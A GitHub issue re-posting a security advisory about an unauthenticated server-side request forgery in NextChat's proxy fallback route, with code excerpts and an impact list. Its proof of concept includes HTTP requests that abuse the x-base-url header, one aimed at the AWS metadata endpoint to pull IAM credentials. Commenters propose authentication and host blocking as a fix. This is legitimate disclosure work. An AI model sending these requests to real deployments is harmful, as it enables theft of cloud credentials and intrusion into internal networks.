Unauthenticated SSRF via Open Proxy Fallback Route (x-base-url header)

[geo-chen]

📦 Deployment Method

Docker

📌 Version

v2.16.1

💻 Operating System

Other Linux

📌 System Version

🌐 Browser

Other

📌 Browser Version

🐛 Bug Description

reported on 2 June 2026 https://github.com/ChatGPTNextWeb/NextChat/security/advisories/GHSA-2wvx-vcmx-h8fr - no response.

Summary

NextChat's proxy fallback handler in app/api/proxy.ts performs server-side HTTP requests to any URL supplied by the caller via the x-base-url request header, with no authentication check and no URL allowlist. Any unauthenticated attacker can use this to probe or interact with internal network services, cloud metadata endpoints, and adjacent hosts behind the server's network boundary.

Details

The Next.js catch-all route app/api/[provider]/[...path]/route.ts dispatches requests to named provider handlers (OpenAI, Anthropic, Google, etc.) by matching the provider path segment against known ApiPath values. Any provider name that does not match a known value falls through to the default case:

// app/api/[provider]/[...path]/route.ts  lines 58-59
default:
  return proxyHandler(req, { params });

proxyHandler is imported from app/api/proxy.ts. That handler reads the x-base-url header from the incoming request and uses it directly as the upstream URL target:

// app/api/proxy.ts  lines 20-22
const subpath = params.path.join("/");
const fetchUrl = `${req.headers.get(
  "x-base-url",
)}/${subpath}?${req.nextUrl.searchParams.toString()}`;

There is no call to auth() anywhere in proxy.ts. The adjacent OpenAI, Anthropic, and Google handlers all call auth(req, ModelProvider.*) before forwarding; the proxy fallback does not. As a result, any HTTP request to /api/<unknown-provider>/<any-path> triggers a server-side fetch to x-base-url/<any-path> without requiring an access code or API key.

The Access-Control-Allow-Origin: * and Access-Control-Allow-Headers: * headers set in next.config.mjs mean this endpoint is reachable cross-origin from any web page, enabling drive-by exploitation from a victim's browser.

PoC

Prerequisites: a running NextChat instance (Docker image yidadaa/chatgpt-next-web:latest v2.16.1). The CODE environment variable may be set; it does not affect the proxy route.

Start an HTTP listener on a host reachable from the NextChat server:

python3 -m http.server 8080

Send an unauthenticated request to a non-existent provider:

GET /api/anyprovider/anypath HTTP/1.1
Host: <nextchat-host>:3000
x-base-url: http://<internal-listener>:8080

The listener receives the connection from the NextChat server:

172.18.0.3 - - "GET /anypath HTTP/1.1" 404 -

The response to the caller contains the listener's HTTP server header (server: SimpleHTTP/0.6 Python/3.11.15), confirming the request was made server-side.

To reach the AWS instance metadata service:

GET /api/anyprov/latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: <nextchat-host>:3000
x-base-url: http://169.254.169.254

Impact

An unauthenticated attacker can:

• Enumerate and interact with internal services on the NextChat server's network (databases, Redis, internal APIs, container sidecars)
• Retrieve cloud-provider instance metadata (AWS, GCP, Azure), including temporary IAM credentials
• Exfiltrate data from internal HTTP services by relaying the response body back to the caller
• Bypass access-code controls entirely, as the proxy handler checks no credentials

This affects all self-hosted NextChat deployments regardless of whether a CODE environment variable is configured.

📷 Recurrence Steps

No response

🚦 Expected Behavior

No response

📝 Additional Information

No response

[olga-io-92]

The use of the x-base-url header in proxyHandler without any authentication check or URL allowlist exposes a significant security vulnerability, allowing unauthenticated attackers to access internal services. It would be beneficial to implement strict validation on the x-base-url header to ensure only whitelisted URLs can be targeted, preventing potential SSRF exploits.

[Solaris-star]

Working on a fix in the proxy fallback: require auth, parse x-base-url as a real URL, block private/loopback/CGNAT/metadata hosts, and only inject the server OpenAI key when hostname is exactly api.openai.com (also covers #6814).